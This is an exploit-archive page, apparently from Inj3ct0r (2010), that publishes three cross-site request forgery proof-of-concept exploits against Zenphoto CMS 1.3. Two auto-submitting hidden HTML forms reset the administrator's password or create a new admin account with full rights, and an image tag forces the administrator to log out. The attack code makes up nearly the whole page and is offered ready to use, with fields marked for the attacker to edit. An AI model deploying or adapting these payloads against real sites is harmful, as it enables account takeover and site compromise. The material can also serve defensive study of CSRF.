<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>==============================================
Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities
==============================================

&lt;!—
Title: Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities
Author: 10n1z3d &lt;10n1z3d[at]w[dot]cn&gt;
Date: Wed 14 Jul 2010 12:48:56 PM EEST
Vendor: http://www.zenphoto.org/
Download: http://zenphoto.googlecode.com/files/zenphoto-1.3.tar.gz
—&gt;

-=[ CSRF PoC 1 - Change Admin Password ]=-

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities – Change Admin Password&lt;/title&gt;
&lt;/head&gt;
&lt;body onload=&quot;document.csrf.submit();&quot;&gt;
&lt;form name=&quot;csrf&quot; action=&quot;http://[domain]/[path]/zp-core/admin-users.php?action=saveoptions&quot; method=&quot;post&quot;&gt;
&lt;!— Edit these —&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-admin_name&quot; value=&quot;root&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-admin_email&quot; value=&quot;root@root.com&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-adminpass&quot; value=&quot;rootroot&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-adminpass_2&quot; value=&quot;rootroot&quot; /&gt;
&lt;!— Do not edit below —&gt;
&lt;input type=&quot;hidden&quot; name=&quot;saveadminoptions&quot; value=&quot;yes&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;alter_enabled&quot; value=&quot;1&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;show-admin&quot; value=&quot;1&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-adminuser&quot; value=&quot;admin&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-confirmed&quot; value=&quot;2&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-ADMIN_RIGHTS&quot; value=&quot;65536&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-OPTIONS_RIGHTS&quot; value=&quot;8192&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-TAGS_RIGHTS&quot; value=&quot;4096&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-ZENPAGE_RIGHTS&quot; value=&quot;2049&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-THEMES_RIGHTS&quot; value=&quot;1024&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-MANAGE_ALL_ALBUM_RIGHTS&quot; value=&quot;512&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-ALBUM_RIGHTS&quot; value=&quot;256&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-COMMENT_RIGHTS&quot; value=&quot;64&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-POST_COMMENT_RIGHTS&quot; value=&quot;32&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-UPLOAD_RIGHTS&quot; value=&quot;16&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-VIEW_ALL_RIGHTS&quot; value=&quot;8&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;0-OVERVIEW_RIGHTS&quot; value=&quot;4&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;show-&quot; value=&quot;16&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;totaladmins&quot; value=&quot;1&quot; /&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

-=[ CSRF PoC 2 - Create Admin User ]=-

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities – Create Admin User&lt;/title&gt;
&lt;/head&gt;
&lt;body onload=&quot;document.csrf.submit();&quot;&gt;
&lt;form name=&quot;csrf&quot; action=&quot;http://[domain]/[path]/zp-core/admin-users.php?action=saveoptions&quot; method=&quot;post&quot;&gt;
&lt;!— Edit these —&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-adminuser&quot; value=&quot;root&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-adminpass&quot; value=&quot;rootroot&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-adminpass_2&quot; value=&quot;rootroot&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-admin_name&quot; value=&quot;root&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-admin_email&quot; value=&quot;root@root.com&quot; /&gt;
&lt;!— Do not edit below —&gt;
&lt;input type=&quot;hidden&quot; name=&quot;saveadminoptions&quot; value=&quot;yes&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;alter_enabled&quot; value=&quot;1&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;show-admin&quot; value=&quot;1&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-ADMIN_RIGHTS&quot; value=&quot;65536&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-OPTIONS_RIGHTS&quot; value=&quot;8192&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-TAGS_RIGHTS&quot; value=&quot;4096&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-ZENPAGE_RIGHTS&quot; value=&quot;2049&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-THEMES_RIGHTS&quot; value=&quot;1024&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-MANAGE_ALL_ALBUM_RIGHTS&quot; value=&quot;512&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-ALBUM_RIGHTS&quot; value=&quot;256&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-COMMENT_RIGHTS&quot; value=&quot;64&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-POST_COMMENT_RIGHTS&quot; value=&quot;32&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-UPLOAD_RIGHTS&quot; value=&quot;16&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-VIEW_ALL_RIGHTS&quot; value=&quot;8&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-OVERVIEW_RIGHTS&quot; value=&quot;4&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;show-&quot; value=&quot;16&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-newuser&quot; value=&quot;1&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;1-confirmed&quot; value=&quot;2&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;totaladmins&quot; value=&quot;2&quot; /&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

-=[ CSRF PoC 3 - Logout The Administrator ]=-

&lt;img src=&quot;http://[domain]/[path]/zp-core/admin.php?logout=0&quot; alt=&quot;Do you see this?&quot; /&gt;

&lt;!—

http://www.evilzone.org/

irc.evilzone.org (6697 / 9999)
—&gt;

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-14]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13335